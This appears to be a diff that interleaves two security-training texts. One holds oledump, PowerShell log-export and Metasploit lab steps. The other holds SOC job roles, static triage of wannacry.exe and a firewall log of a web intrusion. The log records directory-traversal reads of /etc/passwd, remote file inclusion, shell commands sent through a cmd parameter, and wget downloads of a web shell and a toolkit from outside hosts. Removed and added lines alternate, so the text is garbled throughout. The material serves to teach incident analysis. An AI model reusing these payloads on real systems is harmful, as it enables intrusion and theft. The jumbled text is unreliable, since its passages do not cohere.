-python oledump.py 064016.doc
+# Security Operations Center Job Roles  #
 # Intrusion Analysis Level 1            #
-python oledump.py 064016.doc -s A4 -v
+#########################################
 Required Technical Skills: 		Comfortable with basic Linux/Windows (MCSA/Linux+)
 								Comfortable with basic network (Network+)
-- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
+								Comfortable with security fundamentals (Security+)
-- Three of the data streams are flagged as macros: A3:'VBA/Module1′, A4:'VBA/Module2′, A5:'VBA/ThisDocument'.
+
 
 
-python oledump.py 064016.doc -s A5 -v
+
 
 Job Task: 						        Process security events, follow incident response triage playbook
-- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
+
 #########################################
 # Security Operations Center Job Roles  #
-python oledump.py 064016.doc -s A3 -v
+# Intrusion Analysis Level 2            #
 #########################################
 
-- Look for "GVhkjbjv" and you should see:
+Required Technical Skills: 		Comfortable with basic Linux/Windows system administration
 								Comfortable with basic network administration
 								Comfortable with basic programming
 								Comfortable researching IT security issues
 
 
 
 
 
 Job Task: 						        Perform detailed malware analysis, assist with development of the incident response triage playbook
 
 #########################################
 # Security Operations Center Job Roles  #
-############################################
+# Intrusion Analysis Level 3            #
-# Introduction to scripting and toolmaking #
+#########################################
-############################################
+
-https://www.youtube.com/watch?v=usiqXcWb978
+Required Technical Skills: 		Strong statistical analysis background
 								Strong programming background (C, C++, Java, Assembly, scripting languages)
-Start the ISE
+								Advanced system/network administration background
 								Comfortable researching IT security issues
 
-CTRL+R
+
 
 
 
 Job Task: 						Perform detailed malware analysis
 								Perform detailed statistical analysis
 								Assist with development of the incident response triage playbook
 
 
-Get-EventLog -LogName application
+
 -------------------------------------------------------------------------------------------------------------------------
 
-------------------------------------------------------------------------------------------------
+Step 1: Receive suspicious file
---- Now run the script ---
+-------------------------------
 - Help Desk tickets
-.\GrabLogs.ps1
+- SIEM
 - AV
 - EDR
-------------------------------------------------------------------------------------------------
+- Email/Spam
 - Proxy
 
 
-$LogName="application"
+
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+Step 2: Perform static analysis
 -------------------------------
 1. Run strings/grep for primary IoCs
 	- Modifies the registry
 	- Modifies processes/services
---- Now run the script ---
+	- Modifies the filesystem
 	- Connects to the network
-.\GrabLogs.ps1
+
 	A yes to these should help you determine whether you want to do dynamic analysis or not
 
-------------------------------------------------------------------------------------------------
+	Consideration 1: Encryption/Obfuscation - you may have to do dynamic analysis
 
 	Consideration 2: If you dealing with anti-analysis - you may have to do static analysis
-param(
+
-    $LogName="application"
+
-)
+
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+
 
 Step 3: Determine if the malware modifies the registry
 ------------------------------------------------------
---- Now run the script ---
+
 
-.\GrabLogs.ps1
+---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i reg
 
-------------------------------------------------------------------------------------------------
+strings wannacry.exe | grep -i hkcu
---- Now run the script ---
+
 strings wannacry.exe | grep -i hklm
-.\GrabLogs.ps1 -L[ TAB Key ]
+
 strings wannacry.exe | grep -i hkcr
-.\GrabLogs.ps1 -LogName 		(you should now see LogName spelled out)
+-----------------------------------------------------------------------
 
 
-.\GrabLogs.ps1 -LogName system
+
 Step 4: Determine if the malware modifies processes/services
 ------------------------------------------------------------
-------------------------------------------------------------------------------------------------
+
 ---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i advapi32
 
-param(
+strings wannacry.exe | grep -i service
-    $LogName="application",
+
-    $FACTS
+strings wannacry.exe | grep -i OpenSCManagerA
-)
+
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+strings wannacry.exe | grep -i OpenSCManagerA
 
 strings wannacry.exe | grep -i InternetCloseHandle
 
-------------------------------------------------------------------------------------------------
+strings wannacry.exe | grep -i OpenServiceA
---- Now run the script ---
+
 strings wannacry.exe | grep -i CloseServiceHandle
-.\GrabLogs.ps1 -H[ TAB Key ]
+
 strings wannacry.exe | grep -i StartServiceCtrlDispatcherA
-.\GrabLogs.ps1 -FACTS 		(you should now see FACTS spelled out)
+
 strings wannacry.exe | grep -i GetExitCodeProcess
 
 strings wannacry.exe | grep -i GetProcAddress
 -----------------------------------------------------------------------
-------------------------------------------------------------------------------------------------
+
---- Now get help on the script ---
+
 
-get-help .\GrabLogs.ps1
+Step 4: Determine if the malware modifies the file system
-GrabLogs.ps1 [[-LogName] <Object>] [[-FACTS] <Object>]
+------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 strings wannacry.exe | grep -i GetTempPathW
 
-------------------------------------------------------------------------------------------------
+strings wannacry.exe | grep -i GetWindowsDirectoryW
-param(
+
-    [string]$LogName="application",
+strings wannacry.exe | grep -i %TEMP%
-    $FACTS
+
-)
+strings wannacry.exe | grep -i GetFileAttributesA
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+-----------------------------------------------------------------------
 
 
 
-------------------------------------------------------------------------------------------------
+
---- Now get help on the script ---
+
 Step 5: Does the malware have any persistence capability
-get-help .\GrabLogs.ps1
+
-GrabLogs.ps1 [[-LogName] <String>] [[-FACTS] <Object>]
+3 main ways for an attacker to maintain access to a compromised system (persistence)
 
 - Registry
 - Service
 - Scheduled task
-------------------------------------------------------------------------------------------------
+
-param(
+
-    [string[]]$LogName="application",
+
-    $FACTS
+
-)
+
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+
 <189>Nov 11 2006 15:58:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images
 <189>Nov 11 2006 15:58:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images/
 <189>Nov 11 2006 15:58:50: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/icons/folder.gif
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 15:59:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images/blue/
---- Now get help on the script ---
+<189>Nov 11 2006 15:59:32: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/icons/image2.gif
 <189>Nov 11 2006 16:01:01: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/configuration
-get-help .\GrabLogs.ps1
+<189>Nov 11 2006 16:01:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/config
-GrabLogs.ps1 [[-LogName] <String[]>] [[-FACTS] <Object>]
+<189>Nov 11 2006 16:01:12: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/config.php
 <189>Nov 11 2006 16:01:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/server_settings.php
 <189>Nov 11 2006 16:01:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/attachments
 <189>Nov 11 2006 16:02:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:02:09: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php
-[CmdletBinding()]
+<189>Nov 11 2006 16:02:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
-param(
+<189>Nov 11 2006 16:02:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=templates
-    [Parameter(Mandatory=$True)]
+<189>Nov 11 2006 16:02:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=settings
-    $LogName
+<189>Nov 11 2006 16:02:38: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=settings../
-)
+<189>Nov 11 2006 16:02:46: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../settings
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+<189>Nov 11 2006 16:03:02: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../../../../../../etc/passwd
 <189>Nov 11 2006 16:03:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../../../../../../etc/passwd%00
 <189>Nov 11 2006 16:03:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=topts
 <189>Nov 11 2006 16:03:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=users
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:03:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=theme
---- Now run the script ---
+<189>Nov 11 2006 16:03:39: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=pager
 <189>Nov 11 2006 16:03:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=kbase
-.\GrabLogs.ps1
+<189>Nov 11 2006 16:03:46: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
 <189>Nov 11 2006 16:03:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=templates
 <189>Nov 11 2006 16:03:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php? tpl=Please+Select+a+Template+to+Edit+.+.+.&t=templates&restore_tpl=Restore+Templates
 <189>Nov 11 2006 16:04:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common
 <189>Nov 11 2006 16:04:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/
 <189>Nov 11 2006 16:06:22: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/whosonline.php
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:10:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/logout.php?database=http://cgi.cs.kent.edu/ ~pwang/php/store/images/14.txt%00
-[CmdletBinding()]
+<189>Nov 11 2006 16:10:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/index.php
-param(
+<189>Nov 11 2006 16:13:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../ etc/passwd%00
-    [Parameter(Mandatory=$True)]
+<189>Nov 11 2006 16:15:23: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
-    $LogName
+<189>Nov 11 2006 16:15:55: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp
-)
+<189>Nov 11 2006 16:18:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+<189>Nov 11 2006 16:20:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=uname%20-a
 <189>Nov 11 2006 16:20:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=finger
 <189>Nov 11 2006 16:20:51: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20la%20../
 <189>Nov 11 2006 16:21:03: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../
 <189>Nov 11 2006 16:21:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../
 <189>Nov 11 2006 16:23:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:25:34: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=wget%20-O%20../lang/lan.txt.gz%20http://rst.void.ru/download/r57shell.txt.gz
-<#
+<189>Nov 11 2006 16:25:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
 <189>Nov 11 2006 16:25:42: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
-.Synopsis
+<189>Nov 11 2006 16:25:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
-This is a just a short explantion of the script
+<189>Nov 11 2006 16:25:58: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
 <189>Nov 11 2006 16:26:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../
-.Description
+<189>Nov 11 2006 16:26:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20config.php
-This is where provide a more information about how to use the script
+<189>Nov 11 2006 16:27:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../wordpress
 <189>Nov 11 2006 16:27:54: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/wordpress/test.php
-.Parameter LogName
+<189>Nov 11 2006 16:28:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress
-This is where you specify the names of different logs
+<189>Nov 11 2006 16:28:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/
 <189>Nov 11 2006 16:28:18: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/style.css
-./Syntax
+<189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickheader.jpg
-GrabLogs.psl -LogName security
+<189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/kubrickbg.jpg
 <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickbgcolor.jpg
 <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickfooter.jpg
-.Example
+<189>Nov 11 2006 16:28:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php
-GrabLogs.psl -LogName security
+<189>Nov 11 2006 16:28:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php?=PHPE9568F34-D428-11d2-A769- 00AA001ACF42
 <189>Nov 11 2006 16:28:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php?=PHPE9568F35-D428-11d2-A769- 00AA001ACF42
 <189>Nov 11 2006 16:29:24: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../wordpress/wp-config.php
-#>
+<189>Nov 11 2006 16:30:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../
-[CmdletBinding()]
+<189>Nov 11 2006 16:30:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../
-param(
+<189>Nov 11 2006 16:31:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/cgi-bin
-    [Parameter(Mandatory=$True)]
+<189>Nov 11 2006 16:31:12: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../cgi-bin
-    $LogName
+<189>Nov 11 2006 16:31:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
-)
+<189>Nov 11 2006 16:32:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../account
-Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+<189>Nov 11 2006 16:33:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../../etc/passwd
 <189>Nov 11 2006 16:33:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../../../etc/passwd
 <189>Nov 11 2006 16:34:39: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
 <189>Nov 11 2006 16:34:45: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=id
 <189>Nov 11 2006 16:34:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../root
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:37:33: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=fing%20/% 20.bash_history
---- Now get help on the script ---
+<189>Nov 11 2006 16:38:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=ps%20-f
 <189>Nov 11 2006 16:38:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20/%20.bash_history
-get-help .\GrabLogs.ps1
+<189>Nov 11 2006 16:39:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20.bash_history
 <189>Nov 11 2006 16:39:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20/%20.bash_history
 <189>Nov 11 2006 16:39:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/proc
 <189>Nov 11 2006 16:40:38: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/etc
 <189>Nov 11 2006 16:41:06: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/.pwd.lock
 <189>Nov 11 2006 16:41:28: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=hostname
 <189>Nov 11 2006 16:41:34: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=hostname%20-i
-------------------------------------------------------------------------------------------------
+<189>Nov 11 2006 16:41:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ifconfig
---- Now get help on the script ---
+<189>Nov 11 2006 16:42:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20passwd.OLD
-get-help .\GrabLogs.ps1 -full
+<189>Nov 11 2006 16:42:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20php.ini
 <189>Nov 11 2006 16:43:02: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/passwd.OLD
 <189>Nov 11 2006 16:43:44: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/php.ini
 <189>Nov 11 2006 16:44:23: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/pwdb.conf
 <189>Nov 11 2006 16:45:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/pwdb.conf
 <189>Nov 11 2006 16:45:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/shells
 <189>Nov 11 2006 16:46:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/
 <189>Nov 11 2006 16:46:40: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=finger
-<#
+<189>Nov 11 2006 16:47:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20.bash_history
 <189>Nov 11 2006 16:48:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
-.Synopsis
+<189>Nov 11 2006 16:48:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=%20pwd%20../../../../
-This is a just a short explantion of the script
+<189>Nov 11 2006 16:48:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../../
 <189>Nov 11 2006 16:49:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/etc
-.Description
+<189>Nov 11 2006 16:50:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/c:eproject2.metadata.pluginsorg.eclipse.wst.server.coretmp0webappsCMECF_OWSWEB-INFattachments
-This is where provide a more information about how to use the script
+<189>Nov 11 2006 16:50:40: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/root
 <189>Nov 11 2006 16:51:01: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/proc
-.Parameter LogName
+<189>Nov 11 2006 16:52:54: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=netstat%20-a
-This is where you specify the names of different logs
+<189>Nov 11 2006 16:56:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ps%20-f
 <189>Nov 11 2006 16:59:32: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=wget%20-O%20/tmp/11232.tgz%20http://satanic.easycoding.org/release/itx-ng-0.1-rc2.tgz
-./Syntax
+<189>Nov 11 2006 16:59:59: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/
-GrabLogs.psl -LogName security
+<189>Nov 11 2006 17:01:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp
 <189>Nov 11 2006 17:01:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/tmp/mapping-root
 <189>Nov 11 2006 17:02:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-.Example
+<189>Nov 11 2006 17:03:10: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/11232.tgz%20/tmp/.ICE-unix/11232.tgz
-GrabLogs.psl -LogName security
+<189>Nov 11 2006 17:03:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
 <189>Nov 11 2006 17:03:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
 <189>Nov 11 2006 17:03:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/
-#>
+<189>Nov 11 2006 17:04:45: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
-function Get-GrabLogs{
+<189>Nov 11 2006 17:05:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-    [CmdletBinding()]
+<189>Nov 11 2006 17:05:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-    param(
+<189>Nov 11 2006 17:05:28: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
-        [Parameter(Mandatory=$True)]
+<189>Nov 11 2006 17:07:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
-        $LogName
+<189>Nov 11 2006 17:07:24: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
-    )
+<189>Nov 11 2006 17:07:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
-    Get-EventLog -LogName $LogName | Export-Clixml C:\Users\SecureNinja\Desktop\Scripts\$LogName.xml
+<189>Nov 11 2006 17:07:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-}
+<189>Nov 11 2006 17:07:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
 <189>Nov 11 2006 17:07:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
-#######################
+<189>Nov 11 2006 17:13:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cp%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
-# Attacking Windows 7 #
+<189>Nov 11 2006 17:13:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp
-#######################
+<189>Nov 11 2006 17:14:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-NOTE: You'll be using your Ubuntu Linux host as the attacker machine in this lab
+<189>Nov 11 2006 17:14:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
 <189>Nov 11 2006 17:14:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/
-sudo /sbin/iptables -F
+<189>Nov 11 2006 17:15:14: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=rm%20[-fri]%20/tmp/tmp.lang.php
-	infosecaddicts
+<189>Nov 11 2006 17:15:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp
 <189>Nov 11 2006 17:31:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-cd ~/toolz/metasploit
+<189>Nov 11 2006 17:52:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=tar%20-xvzf%20/tmp/.ICE-unix/11232.tgz
 <189>Nov 11 2006 17:52:14: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
-./msfconsole
